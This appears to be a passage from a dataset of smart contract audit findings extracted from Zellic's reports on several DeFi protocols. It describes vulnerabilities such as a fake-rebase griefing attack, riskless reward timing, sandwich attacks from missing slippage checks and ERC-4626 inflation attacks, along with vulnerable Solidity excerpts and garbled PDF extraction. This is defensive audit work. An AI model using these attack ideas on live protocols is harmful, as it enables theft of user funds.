is 50 The PoC mints two FNFTs. The first one proceeds as normal. Then, tokens are trans- ferred directly to the vault. This transfer emulates a \u201cfake\u201d rebase. As a result, when the second FNFT is minted, it has value 50 rather than the correct value of 100. The victim minting a FNFT following the fake rebase action permanently loses funds. This poses a very large griefing vector for Revest. Alter the logic to properly account for Rebase Tokens. The Revest team has fixed this issue by proposing a move to a new and improved TokenVaultV2 design, and by deprecating the handling of rebase tokens in TokenVault. Zellic Revest Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Revest Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Certain functions\u2019 access controls are unnecessarily lax", + "labels": [ + "Zellic" + ], + "body": "Target: TokenVault.sol Category: Business Logic Likelihood: N/A Severity: N/A : N/A description function createFNFT(uint fnftId, IRevest.FNFTConfig memory fnftConfig, uint quantity, address from) external override { ...)) } The function createFNFT should not be external, as all of its\u2019 internal function calls are restricted to onlyRevestController. The issue currently has no security impact, but developers should abide by the prin- ciple of least privilege. Limiting a contract\u2019s attack surface is a crucial way to mitigate future risks and reduces the overall likelihood and severity of compromises. Add the onlyRevestController modifier to createFNFT to restrict access control. The issue has been acknowledged by Revest team. Zellic Revest Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Revest Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Batched mints can be rejected by a single recipient", + "labels": [ + "Zellic" + ], + "body": "Target: FNFTHandler.sol Category: Business Logic Likelihood: Low Severity: Low : Low function mintBatchRec(address[] calldata recipients, uint[] calldata quantities, uint id, uint newSupply, bytes memory data) external override onlyRevestController { supply[id] += newSupply; fnftsCreated += 1; for(uint i = 0; i < quantities.length; i+)) { _mint(recipients[i], id, quantities[i], data); } } A batched mint from mintBatchRec is susceptible to being cancelled by a single recip- ient failing the ERC-1155 AcceptanceCheck Gas is wasted, and other willing recipients do not receive the FNFTs. The batched mint execution has to be retried. Recomendations Execute the batched mint in a try catch loop and refund if a mint fails. If intended, document this behaviour. The issue has been acknowledged by the Revest team, and a fix is pending. Zellic Revest Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Revest Finance - Zellic Audit Report.pdf" + }, + { + "title": "3.1 An attacker may claim risk-free rewards without risking their staked capital", + "labels": [ + "Zellic" + ], + "body": "Target: Vault.sol Severity: High : High Category: Business Logic Likelihood: High The Example Vault aims for an APR of 20%. At the beginning of every new period (1 day), the vault distributes the daily interest and calculates the new token price. The caveat here is that users can stake capital at the end of a period and reap rewards instantly at the beginning of the next period. Depositing on the last block before the start of new period and redeeming it in the next block would essentially guarantee an instant riskless profit. function compute () public { uint256 currentTimestamp = block.timestamp; /) solhint-disable-line not-rely-on-time uint256 newPeriod = DateUtils.diffDays(startOfYearTimestamp, currentTimestamp); if (newPeriod <= currentPeriod) return; for (uint256 i = currentPeriod + 1; i <= newPeriod; i++) { _records[i].apr = _records[i - 1].apr; _records[i].totalDeposited = _records[i - 1].totalDeposited; uint256 diff = uint256(_records[i - 1].apr) * USDF_DECIMAL_MULTIPLIER * uint(100)/ uint256(365); _records[i].tokenPrice = _records[i - 1].tokenPrice + (diff / uint256(10000)); _records[i].dailyInterest = _records[i - 1].totalDeposited * uint256(_records[i - 1].apr) / uint256(365) / uint256(100); } currentPeriod = newPeriod; } Zellic Fractal Protocol An attacker can effectively siphon out money from vaults without participating in the strategies or taking on any risk. The profit is directly dependent on attackers\u2019 capital. For a concrete example: With an APR of 20% and a capital of 1 Million USDC, the attacker can freely profit 540 dollars a day (0.054%) disregarding the gas fee. The profit scales linearly and for 10 million USDC, the profit would be $5400/day. There are multiple strategies that can be taken to address this: Lock the users capital for a minimum period of time to prevent instant with- drawals. Immediately forward funds to the yieldReserve, so a large deposit is not with- drawable instantly. The issue has been acknowledged by Fractal. Zellic Fractal Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/Fractal Protocol - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Lack of slippage checks on DEX swaps", + "labels": [ + "Zellic" + ], + "body": "Target: Multiple contracts Severity: High : High Category: Business Logic Likelihood: High In many separate areas of the project, interactions and swaps with Uniswap are han- dled through DexLibrary. There is no slippage check on these interactions and are thus vulnerable to market manipulation. function swap( uint256 amountIn, address fromToken, address toToken, IPair pair ) internal returns (uint256) { (address token0, ) = sortTokens(fromToken, toToken); (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(); if (token0 != fromToken) (reserve0, reserve1) = (reserve1, reserve0); uint256 amountOut1 = 0; uint256 amountOut2 = getAmountOut(amountIn, reserve0, reserve1); if (token0 != fromToken) (amountOut1, amountOut2) = (amountOut2, amountOut1); safeTransfer(fromToken, address(pair), amountIn); pair.swap(amountOut1, amountOut2, address(this), ZERO_BYTES); return amountOut2 > amountOut1 ? amountOut2 : amountOut1; } Due the nature of most of the vulnerable methods being onlyOwner or onlyAdmin, the quantity of funds accumulated would be rather large along with the swap amount. An attacker could sandwich the the swap transaction, artificially inflating the spot price and profiting off the manipulated market conditions when the swap executes. Set the default slippage to 0.5% for Uniswap, customizable for bigger trades. Zellic Fractal Protocol The issue has been acknowledged by Fractal. Zellic Fractal Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/Fractal Protocol - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Potential lock-up of funds in FractalVaultV1 as anySwap Router is not approved", + "labels": [ + "Zellic" + ], + "body": "Target: FractalVaultV1.sol Severity: Medium : Medium Category: Business Logic Likelihood: Medium The FractalVaultV1 does not approve the anySwap router before executing anySwapOut- Underlying, and would fail all the withdrawal attempts. function withdrawToLayerOne(...))) { ...)) emit WithdrawToLayerOne(msg.sender, amount); anySwapRouter.anySwapOutUnderlying(anyToken, anyswapRouter, amount, chainId); } The FractalVaultV1 will never be able to withdraw to LayerOne. Though the recoverERC20 function can be used in an emergency to manually transfer funds as a backup func- tionality; however, this is likely not the intended flow of funds. Approve AnySwap router before anySwapOutUnderlying. The issue has been acknowledged by Fractal. Zellic Fractal Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/Fractal Protocol - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Potential lock-up of funds in the event of insufficient AnySwap liquidity", + "labels": [ + "Zellic" + ], + "body": "Target: FractVaultV1.sol Severity: Low : Low Category: Business Logic Likelihood: Low AnySwap cross-chain transfers will provide the underlying token to the destination only if sufficient liquidity exists on AnySwap reserves. If not, AnySwap will mint a wrapped token (AnyToken) that can be redeemed later when liquidity is available. The FractVaultV1 does not handle that. Even if reserves are checked before executing a swap, since AnySwap is not atomic with no guarantee on order of transactions, simultaneous swaps by other users would lead to locked tokens. FractalVaultV1 currently has no way to redeem the AnyTokens to the underlying to- kens. However, the recoverERC20 method can be used by the owner to manually recover the anySwap tokens, mitigating this issue\u2019s impact. Add functionality to redeem AnyTokens to their underlying. The issue has been acknowledged by Fractal. Zellic Fractal Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/Fractal Protocol - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Access Control functions should emit events", + "labels": [ + "Zellic" + ], + "body": "Target: Mintable.sol, Address- Whitelist.sol, Migrations.sol Severity: Informational : Informational Category: Access Control Likelihood: N/A Several methods in multiple contracts related to access control such as whitelisting and minter/burner roles do not emit events. In the case of a compromise, events allow for secure and early detection of breaches & security incidents. Add events to all functions relating to access control. The issue has been acknowledged by Fractal. Zellic Fractal Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/Fractal Protocol - Zellic Audit Report.pdf" + }, + { + "title": "3.6 Multiple internal inconsistencies", + "labels": [ + "Zellic" + ], + "body": "Target: Multiple contracts Severity: Informational : Informational Category: Business Logic Likelihood: N/A In several areas of the project, internal inconsistencies were noted, such as lack of checks that were present in other areas, or non-standard practices in general. The respective areas are affected: FractalVaultV1: withdrawToLayerOne - No chainId Checks. Mintable.sol: DexLibrary.sol: convertRewardTokensToDepositTokens - lack of slippage checks mint - Transfer event should mint from address 0. mentioned. These issues are minor, and do not pose a security hazard at present. More broadly however, this is a source of developer confusion and a general coding hazard. Internal inconsistencies may lead to future problems or bugs. Avoiding internal inconsisten- cies also makes it easier for developers to understand the code and helps any potential auditors more quickly and thoroughly assess it. Consider changing the code to fix the inconsistencies. The issue has been acknowledged by Fractal. Zellic Fractal Protocol 3.7 Lack of documentation Target: Multiple contracts Severity: Informational : Informational Category: Business Logic Likelihood: N/A Several files in the project are lacking documentation, the following being: diffDays _daysToDate DateUtils.sol: DateUtils.sol: DateUtils.sol: DateUtils.sol: DateUtils.sol: Migrations.sol: setCompleted timestamp getYear _daysFromDate This is a source of developer confusion and a general coding hazard. Lack of doc- umentation, or unclear documentation, is a major pathway to future bugs. It is best practice to document all code. Documentation also helps third-party developers inte- grate with the platform, and helps any potential auditors more quickly and thoroughly assess the code. Add documentation to the affected functions. The issue has been acknowledged by Fractal. Zellic Fractal Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/Fractal Protocol - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Risk of ERC-4626 inflation attack", + "labels": [ + "Zellic" + ], + "body": "Target: BeefyWrapper Category: Code Maturity Likelihood: N/A Severity: Informational : Informational Empty ERC-4626 vaults can be manipulated to inflate the price of a share and cause depositors to lose their deposits due to rounding in favor of the vault. In empty (or nearly empty) ERC-4626 vaults, deposits are at high risk of being stolen through front-running with a donation to the vault that inflates the price of a share. This is variously known as a donation or inflation attack and is essentially a problem of slippage. This attack allows malicious actors to steal deposits into pools, which will result in potentially notable losses for users. protection the For ERC4626Upgradeable OpenZeppelin contract used in BeefyWrapper.sol to the current version (4.9). attacks, we upgrading inflation suggest against The latest version of the ERC4626Upgradeable OpenZeppelin contract explains their proposed solution to this type of attack: The _decimalsOffset() corresponds to an offset in the decimal representation between the underlying asset\u2019s decimals and the vault decimals. This offset also determines the rate of virtual shares to virtual assets in the vault, which itself determines the initial exchange rate. While not fully preventing the attack, analysis shows that the default offset (0) makes it non-profitable, as a result of the value being captured by the virtual shares (out of the attacker\u2019s donation) matching the attacker\u2019s expected gains. With a larger offset, the attack becomes orders of magnitude more expensive than it is profitable. Zellic Beefy Finance This issue has been fixed by Beefy Finance in commit 39a7e1a. Zellic Beefy Finance 4 Threat Model This provides a full threat model description for various functions. As time permit- ted, we analyzed each function in the contracts and created a written threat model for some critical functions. A threat model documents a given function\u2019s externally controllable inputs and how an attacker could leverage each input to cause harm. Not all functions in the audit scope may have been modeled. The absence of a threat model in this section does not necessarily suggest that a function is safe.", + "html_url": "https://github.com/Zellic/publications/blob/master/Beefy Wrapper - Zellic Audit Report.pdf" + }, + { + "title": "4.1 Module: BeefyWrapperFactory.sol Function: clone(address _vault) This function can be used to create a new clone of the BeefyWrapper contract using an immutable proxy that delegatecalls the wrapper contract code. Inputs", + "labels": [ + "Zellic" + ], + "body": "_vault \u2013 Control: Arbitrary. \u2013 Constraints: None. \u2013 : Address of the contract to clone. Branches and code coverage (including function calls) Intended branches Deploys the immutable proxy contract and calls initialize on it. 4\u25a1 Test coverage Function call analysis rootFunction -> IWrapper(proxy).initialize(...))) \u2013 What is controllable? All arguments; _vault is controlled and name and sy mbol are obtained by calling _vault. \u2013 If return value controllable, how is it used and how can it go wrong? Not used. \u2013 What happens if it reverts, reenters, or does other unusual control flow? Reverts would abort the transaction; reentrancy is possible but not a con- cern. Zellic Beefy Finance", + "html_url": "https://github.com/Zellic/publications/blob/master/Beefy Wrapper - Zellic Audit Report.pdf" + }, + { + "title": "4.2 Module: BeefyWrapper.sol Function: unwrap(uint256 amount) This function can be used to unwrap a given amount of wrapped tokens in exchange for the original Beefy tokens. Inputs", + "labels": [ + "Zellic" + ], + "body": "amount \u2013 Control: Arbitrary. \u2013 Constraints: None directly (user balance must be sufficient). \u2013 : Amount of tokens to be unwrapped. Branches and code coverage (including function calls) Intended branches Burns the specified amount of wrapped tokens and transfers the corresponding amount of vault tokens to the caller. \u25a1 Test coverage Negative behavior Reverts if the user balance is insufficient. \u25a1 Negative test Reverts if the transfer of unwrapped tokens fails. \u25a1 Negative test Function call analysis rootFunction -> _burn(msg.sender, amount) \u2013 What is controllable? amount. \u2013 If return value controllable, how is it used and how can it go wrong? Not used. \u2013 What happens if it reverts, reenters, or does other unusual control flow? Reverts bubble up; reentrancy is not possible. rootFunction -> IERC20Upgradeable(vault).safeTransfer(msg.sender, amount ) \u2013 What is controllable? amount. \u2013 If return value controllable, how is it used and how can it go wrong? Not controllable. \u2013 What happens if it reverts, reenters, or does other unusual control flow? Zellic Beefy Finance Reverts bubble up (even though they should not be possible); reentrancy is not possible (vault is considered trusted). Function: wrap(uint256 amount) This function can be used to wrap a given amount of Beefy vault tokens into ERC-4626 wrapped tokens. Inputs amount \u2013 Control: Arbitrary. \u2013 Constraints: None (directly, caller balance must be sufficient and the wrapper must be approved). \u2013 : Amount to wrap. Branches and code coverage (including function calls) Intended branches Transfers vault tokens to the wrapper contract and mints the corresponding amount of wrapper tokens. \u25a1 Test coverage Negative behavior Reverts if the vault token transfer fails (e.g., user balance is insufficient). \u25a1 Negative test Function call analysis rootFunction -> IERC20Upgradeable(vault).safeTransferFrom(msg.sender, address(this), amount) \u2013 What is controllable? amount. \u2013 If return value controllable, how is it used and how can it go wrong? Not used. \u2013 What happens if it reverts, reenters, or does other unusual control flow? Reverts bubble up; reentrancy is not possible (vault is considered trusted). rootFunction -> _mint(msg.sender, amount) \u2013 What is controllable? amount. \u2013 If return value controllable, how is it used and how can it go wrong? Not used. \u2013 What happens if it reverts, reenters, or does other unusual control flow? Zellic Beefy Finance Reverts and reentrancy are not possible. Function: _deposit(address caller, address receiver, uint256 assets, ui nt256 shares) This internal function overrides the default ERC-4626 implementation and is invoked by the public, inherited functions deposit and mint. Inputs caller \u2013 Control: None. \u2013 Constraints: None. \u2013 : Caller performing the deposit. receiver \u2013 Control: Arbitrary. \u2013 Constraints: None. \u2013 : Receiver of the minted shares. asset \u2013 Control: Arbitrary (when coming from deposit). \u2013 Constraints: None (directly, caller balance must be sufficient). \u2013 : Amount of assets to wrap. shares \u2013 Control: Arbitrary (when coming from mint). \u2013 Constraints: None (directly, corresponding caller asset balance must be sufficient). \u2013 : Intended to be the amount of shares to mint but ignored and re- computed internally. Branches and code coverage (including function calls) Intended branches Transfers asset from the caller to the wrapper contract, calls the vault to deposit the asset, and mints the corresponding amount of shares to the receiver. \u25a1 Test coverage Negative behavior Reverts if the asset transfer fails (e.g., caller balance is insufficient). \u25a1 Negative test Reverts if the vault deposit fails. Zellic Beefy Finance \u25a1 Negative test Function call analysis rootFunction -> IERC20Upgradeable(asset()).safeTransferFrom(caller, address(this), assets) \u2013 What is controllable? assets. \u2013 If return value controllable, how is it used and how can it go wrong? Not used. \u2013 What happens if it reverts, reenters, or does other unusual control flow? Reverts bubble up; reentrancy is not possible (asset is considered trusted). rootFunction -> IERC20Upgradeable(vault).balanceOf(address(this)) \u2013 What is controllable? Nothing. \u2013 If return value controllable, how is it used and how can it go wrong? Used as the initial vault tokens\u2019 balance. \u2013 What happens if it reverts, reenters, or does other unusual control flow? Reverts bubble up; reentrancy is not possible (vault is considered trusted). rootFunction -> IVault(vault).deposit(assets) \u2013 What is controllable? assets. \u2013 If return value controllable, how is it used and how can it go wrong? Not used. \u2013 What happens if it reverts, reenters, or does other unusual control flow? Reverts bubble up; reentrancy is not possible (vault is considered trusted). rootFunction -> shares = IERC20Upgradeable(vault).balanceOf(address(this )) \u2013 What is controllable? Nothing. \u2013 If return value controllable, how is it used and how can it go wrong? Used as the final vault balance \u2014 the difference between final and initial balance is used as the amount of shares to be minted. \u2013 What happens if it reverts, reenters, or does other unusual control flow? Reverts bubble up; reentrancy is not possible (vault is considered trusted). rootFunction -> _mint(receiver, shares) \u2013 What is controllable? Nothing directly. \u2013 If return value controllable, how is it used and how can it go wrong? Not used. \u2013 What happens if it reverts, reenters, or does other unusual control flow? Reverts and reentrancy are not possible. Zellic Beefy Finance Function: _withdraw(address caller, address receiver, address owner, ui nt256 assets, uint256 shares) This internal function overrides the default ERC-4626 implementation and is invoked by the public, inherited functions withdraw and redeem. Inputs caller \u2013 Control: None. \u2013 Constraints: None. \u2013 : Caller performing the withdrawal. receiver \u2013 Control: Arbitrary. \u2013 Constraints: None. \u2013 : Receiver of the withdrawal. owner \u2013 Control: None. \u2013 Constraints: If not the sender, caller must have allowance. \u2013 : Owner of the shares to withdraw. assets \u2013 Control: Arbitrary (when coming from withdraw). \u2013 Constraints: None (directly, owner share balance must be sufficient). \u2013 : Amount of assets to unwrap. shares \u2013 Control: Arbitrary (when coming from redeem). \u2013 Constraints: None (directly, owner share balance must be sufficient). \u2013 : Amount of shares to unwrap. Branches and code coverage (including function calls) Intended branches Spends allowance if caller is not owner. \u25a1 Test coverage Burns owner shares, withdraws shares from the vault, transfers min(assets, b alance) to the receiver. \u25a1 Test coverage Negative behavior Reverts if the caller does not have sufficient allowance. Zellic Beefy Finance \u25a1 Negative test Reverts if owner balance is insufficient. \u25a1 Negative test Reverts if vault withdrawal fails. \u25a1 Negative test Reverts if asset transfer fails (should be impossible). \u25a1 Negative test Function call analysis rootFunction -> _spendAllowance(owner, caller, shares) \u2013 What is controllable? owner and shares. \u2013 If return value controllable, how is it used and how can it go wrong? Not used. \u2013 What happens if it reverts, reenters, or does other unusual control flow? Reverts bubble up; reentrancy is not possible. rootFunction -> _burn(owner, shares) \u2013 What is controllable? owner and shares. \u2013 If return value controllable, how is it used and how can it go wrong? Not used. \u2013 What happens if it reverts, reenters, or does other unusual control flow? Reverts bubble up; reentrancy is not possible. rootFunction -> IVault(vault).withdraw(shares) \u2013 What is controllable? shares. \u2013 If return value controllable, how is it used and how can it go wrong? Not used. \u2013 What happens if it reverts, reenters, or does other unusual control flow? Reverts bubble up; reentrancy is not possible (vault is considered trusted). rootFunction -> IERC20Upgradeable(asset()).balanceOf(address(this)) \u2013 What is controllable? Nothing. \u2013 If return value controllable, how is it used and how can it go wrong? Used to limit the maximum withdrawal. \u2013 What happens if it reverts, reenters, or does other unusual control flow? Reverts bubble up; reentrancy is not possible (asset is considered trusted). rootFunction -> IERC20Upgradeable(asset()).safeTransfer(receiver, assets ) \u2013 What is controllable? receiver and assets. \u2013 If return value controllable, how is it used and how can it go wrong? Not used. \u2013 What happens if it reverts, reenters, or does other unusual control flow? Zellic Beefy Finance Reverts bubble up; reentrancy is not possible (asset is considered trusted). Zellic Beefy Finance 5 Assessment Results At the time of our assessment, the reviewed code was deployed to the Ethereum Mainnet. During our assessment on the scoped Beefy Wrapper contracts, we discovered two findings, all of which were informational in nature. Beefy Finance acknowledged all findings and implemented fixes.", + "html_url": "https://github.com/Zellic/publications/blob/master/Beefy Wrapper - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Borrower cannot withdraw funds", + "labels": [ + "Zellic" + ], + "body": "Target: OpenTermLoan Category: Business Logic Likelihood: Low Severity: High : High In certain situations where the price drops below the maintenance collateral ratio, the borrower is unable to withdraw the principal and activate the loan. function withdraw () public onlyBorrower { require(loanState =) FUNDED, \"Invalid loan state\"); /) Enforce the maintenance collateral ratio, if applicable _enforceMaintenanceRatio(); loanState = ACTIVE; /) Send principal tokens to the borrower _withdrawPrincipalTokens(_effectiveLoanAmount, borrower); /) Emit the event emit OnBorrowerWithdrawal(_effectiveLoanAmount); } The borrower is not able to withdraw their funds. The only way for the borrower to regain access to their funds is for the lender to call the loan and return the funds. Remove _enforceMaintenanceRatio in withdraw. Zellic Fractal Fractal has addressed the issue by implementing a fix in commit 4888d6b6 which removes the _enforceMaintenanceRatio call in withdraw. Zellic Fractal", + "html_url": "https://github.com/Zellic/publications/blob/master/Fractal Protocol v2- Zellic Audit Report.pdf" + }, + { + "title": "3.2 Initialize function can be called multiple times", + "labels": [ + "Zellic" + ], + "body": "Target: GlpSpotMarginAccount Category: Business Logic Likelihood: Low Severity: Medium : Medium The initialize function can be called multiple times. function initializeSubAccount( address loanAddress, address feeCollectorAddress, address paraswapAddress, address tokenTransferProxyAddress, uint256 feeAmount) public onlyOperator { } /) @audit shouldn't be callable more than once. _loanContract = loanAddress; _feeCollector = feeCollectorAddress; _paraswap = paraswapAddress; _tokenTransferProxy = tokenTransferProxyAddress; _feeBips = feeAmount; This can lead to unexpected behavior, since the state variable changes will break the logic of the contract. The impact of this finding is diminished by the restriction that only the operator has the authority to invoke this function. We recommend adding a check to ensure that the function is not called more than once, such as using OpenZeppelin\u2019s initializer modifier. Fractal has addressed the issue by implementing a fix in commit d463725e through the use of the initializer modifier. The function has also been renamed to initialize Zellic Fractal to match the naming convention of the other contracts. Zellic Fractal", + "html_url": "https://github.com/Zellic/publications/blob/master/Fractal Protocol v2- Zellic Audit Report.pdf" + }, + { + "title": "3.3 Insufficient slippage protection", + "labels": [ + "Zellic" + ], + "body": "Target: Project Wide Category: Business Logic Likelihood: Medium Severity: Medium : Medium The codebase has several areas where slippage checks are either absent or insufficient to guard against MEV attacks. Some of these areas are listed below. All instances of depositCurveConvex in the various strategies: function depositCurveConvex( uint256 amount, uint256[3] calldata amounts, uint256 slippageBips, address proxyVault) public onlyOperator { ...)) uint256 calcAmount = ICurveSwap(FRAXZAPPOOL).calc_token_amount(ALUSDFRAXPOOL, amounts, true); uint256 minAmount = (calcAmount * (BIPS_DIVISOR - slippageBips)) / BIPS_DIVISOR; ICurveSwap(FRAXZAPPOOL).add_liquidity(ALUSDFRAXPOOL, amounts, minAmount); } In this instance, minimum amounts are calculated from on-chain prices that will have already been skewed; therefore, the add_liquidity operation will always pass. All instances of withdrawCurveConvex in the various strategies: function withdrawCurveConvex( bytes32 kek_id, address proxyVault, uint256 slippageBips) public onlyOperator { Zellic Fractal ...)) uint256 calcAmount = ICurveSwap(FRAXZAPPOOL).calc_withdraw_one_coin(ALUSDFRAXPOOL, lpTokenBalance, 2); uint256 minAmount = (calcAmount * (BIPS_DIVISOR - slippageBips)) / BIPS_DIVISOR; ICurveSwap(FRAXZAPPOOL).remove_liquidity_one_coin(ALUSDFRAXPOOL, lpTokenBalance, 2, minAmount); ...)) } In this instance, minimum amounts are calculated from on-chain prices that will have already been skewed; therefore, the remove_liquidity_one_coin operation will always pass. This also applies to addLiquidityAndDeposit and removeLiquidityAndWithdraw in Fract- StableSwap. The same issue is present for the minUsdcAmount function in GlpUnwind. Then there are slippage issues in borrow pools where the manipulation of borrow pools can result in less than expected tokens. In the Aave strategies, these exchanges are protected by a min amount number. However, in the Compound strategies, there is no minimum check for borrowed tokens received. function mintAndBorrow( address mintAddress, address borrowAddress, uint256 mintAmount, uint256 collateralFactorBips ) public onlyOperator { } require(mintAddress !) address(0), \"0 Address\"); require(borrowAddress !) address(0), \"0 Address\"); require(mintAmount > 0, \"Mint failed\"); require(collateralFactorBips <) BIPS_DIVISOR, \"Collateral factor\"); _mint(mintAddress, mintAmount); _borrow(borrowAddress, collateralFactorBips); Zellic Fractal In FractAaveConvexFraxUsdc, the interface for the CRVFRAXPOOL is incorrect and a timestamp is supplied instead of a min amount. ICurveSwap(CRVFRAXPOOL).add_liquidity(amounts, block.timestamp + 10); /)@audit timestamp supplied for min amount In FractMoonwellStrategy.sol, in the harvestByMarket function, both swaps pass a 0 for the min amount out. function harvestByMarket(address mintAddress, address borrowAddress) public onlyOperator { ...)) _swapTokens(MOONWELL_TOKEN, underlyingAddress, rewardBalance, 0); /)@audit pass a 0 for min amount out _swapNativeToken(underlyingAddress, movrBalance, 0); /)@audit pass a 0 for min amount out } Insufficient slippage protection can result in the loss of funds of users. Our recommendation is to incorporate minimum amount arguments obtained from off-chain sources and verify that the slippage is within acceptable limits. Fractal has addressed the issue by implementing fixes in commit 5da58e4c8 by the addition of a minimum amount parameter in every impacted function. Zellic Fractal", + "html_url": "https://github.com/Zellic/publications/blob/master/Fractal Protocol v2- Zellic Audit Report.pdf" + }, + { + "title": "3.4 State variables are shadowed by function parameters", + "labels": [ + "Zellic" + ], + "body": "Target: FractCompoundStrategy, SwapContractManager Severity: Low Category: Coding Mistakes : Low Likelihood: Low Two state variables are shadowed by function parameters. This applies for counterPa rtyRegistry in SwapContractManager and comptroller in FractCompoundStrategy. constructor( address feeCollectorAddr, address counterPartyRegistryAddr ){ } require(feeCollectorAddr !) address(0), '0 address'); require(counterPartyRegistryAddr !) address(0), '0 address'); feeCollector = feeCollectorAddr; counterPartyRegistry = counterPartyRegistryAddr; function deployTotalReturnSwapContract( uint8 direction, address operator, address counterPartyRegistry, /) ...)) This can lead to unexpected behavior, since the state variables will be shadowed by the function parameters. We recommend opting for a different name for the function parameters, or removing the state variables. Zellic Fractal Fractal has addressed the issue by implementing a fix in commit 66ef7c87f and dc471fdd by removing and/or renaming the local variables. Zellic Fractal", + "html_url": "https://github.com/Zellic/publications/blob/master/Fractal Protocol v2- Zellic Audit Report.pdf" + }, + { + "title": "3.1 Missing test suite code coverage", + "labels": [ + "Zellic" + ], + "body": "Target: MultiRateLimited Severity: Low : Informational Category: Code Maturity Likelihood: n/a Some functions in the smart contract are not covered by any unit or integration tests, to the best of our knowledge. We ran both the Hardhat test suite and the Forge tests. The following functions do not have test coverage: MultiRateLimited.sol: getLastBufferUsedTime These functions are extremely simple, so we do not see this as a significant issue. We reviewed all untested functions with increased scrutiny. Fortunately, we did not find any additional vulnerabilities. Other than these minor flaws, the code base otherwise has nearly 100% code cov- erage as of the time of writing. We applaud Volt Protocol for their commitment to thorough testing. Because correctness is so critically important when developing smart contracts, we recommend that all projects strive for 100% code coverage. Testing should be an essential part of the software development lifecycle. No matter how simple a function may be, untested code is always prone to bugs. Expand the test suite so that all functions and their branches are covered by unit or integration tests. The issue has been acknowledged by Volt Protocol, and a fix is pending. Zellic Volt Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/Volt Protocol - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Time functions rely on an unverified external date library", + "labels": [ + "Zellic" + ], + "body": "Target: ScalingPriceOracle Severity: n/a : Informational Category: Business Logic Likelihood: n/a The ScalingPriceOracle is designed so that new CPI data from the chainlink oracle can be requested once a month: at least 28 days between requests, and only on the 15th day of the month or later. To calculate the current day, the contract uses block.timestamp and the popular BokkyPooBah\u2019s DateTime Library. This library con- tains an algorithm to convert from Unix timestamp days since epoch to the current calendar date. int256 __days = int256(_days); int256 L = __days + 68569 + OFFSET19700101; int256 N = (4 * L) / 146097; L = L - (146097 * N + 3) / 4; int256 _year = (4000 * (L + 1)) / 1461001; L = L - (1461 * _year) / 4 + 31; int256 _month = (80 * L) / 2447; int256 _day = L - (2447 * _month) / 80; L = _month / 11; _month = _month + 2 - 12 * L; _year = 100 * (N - 49) + _year + L; Since this code is crucial to the functionality of the contract, and its design is not clearly documented, we considered the risk of a possible bug in this dependency. A bug in the dependency could cause the ScalingPriceOracle to malfunction or lock up. This is mitigated by the fact that the ScalingPriceOracle is kept behind a proxy )OraclePassThrough), but we still wanted to verify the correctness of this function. To do so, we compared the results of the BokkyPooBah algorithm with a known ground truth )Python\u2019s datetime library). We computed values with both methods for all timestamp values +/- 30 years from the current date, and found that the results were all correct. We also formally verified the correctness of the algorithm against musl libc\u2019s gmtime function by using an SMT solver. Zellic Volt Protocol In the future, continue to carefully verify the correctness of external dependencies when adding them to the code base. There have been several well-known security incidents caused by external dependencies in the past. No remediation is necessary, as we successfully verified the dependencies are correct. Zellic Volt Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/Volt Protocol - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Some functions can be implemented more efficiently", + "labels": [ + "Zellic" + ], + "body": "Target: Deviation Severity: Low : Informational Category: Gas Optimization Likelihood: n/a The function calculateDeviationThresholdBasisPoints calculates an absolute differ- ence of two numbers. It computes the absolute value of both the numerator and denominator separately, which is less efficient than computing the absolute value of the overall result. function calculateDeviationThresholdBasisPoints(int256 a, int256 b) public pure returns (uint256) { } ///)) delta can only be positive uint256 delta = ((a < b) ? (b - a) : (a - b)).toUint256(); return (delta * Constants.BASIS_POINTS_GRANULARITY) / (a < 0 ? a * -1 : a).toUint256(); The code can be refactored to compute the absolute value of the quotient at the end, rather than computing the quotient of two absolute values. This would eliminate a ternary expression. Volt Protocol acknowledged and optimized the code based on our suggestions. Zellic Volt Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/Volt Protocol - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Centralization risk in setBlockUpdater", + "labels": [ + "Zellic" + ], + "body": "Target: ZkBridgeOracle Category: Business Logic Likelihood: Low Severity: Informational : Informational The setBlockUpdater function in ZkBridgeOracle.sol allows the contract owner to mod- ify the block updater for any source chain. The blockUpdater is responsible for vali- dating receipt hashes against a given block hash. function setBlockUpdater(uint16 _sourceChainId, address _blockUpdater) external onlyOwner { require(_blockUpdater !) address(0), \u201dZkBridgeOracle:Zero address\u201d); emit ModBlockUpdater(_sourceChainId, address(blockUpdaters[_sourceChainId]), _blockUpdater); blockUpdaters[_sourceChainId] = IBlockUpdater(_blockUpdater); } This poses a centralization risk by enabling the admin to modify a blockUpdater to arbitrary logic and bypass the security guarantees of the contract. We recommend integrating a governance or timelock mechanism to remediate arbi- trary updates to blockUpdaters. Polyhedra provided the following response to this finding: Regarding your concerns with the ZkBridgeOracle contract and specifically, the setBlockUpdater function, please be aware that the contract currently possesses the ability to change the blockUpdater due to the hi-tech and intricate nature of the Zero-Knowledge Proofs. This upgradability allows us to swiftly deal with and settle any unforeseen issues, thereby enhancing the security and overall conti- nuity of our services. Zellic Polyhedra However, this arrangement is not permanent. Our ultimate plan is to transition towards a non-adjustable contract when the operations of the ZkBridgeOracle proves to be steady and reliable. At that point, we expect an enhancement in the solidity and safety of the contract. We foresee this transition to be implemented within a month, and we greatly appreciate your understanding on this matter. Zellic Polyhedra", + "html_url": "https://github.com/Zellic/publications/blob/master/Polyhedra zk light client on LayerZero - Zellic Audit 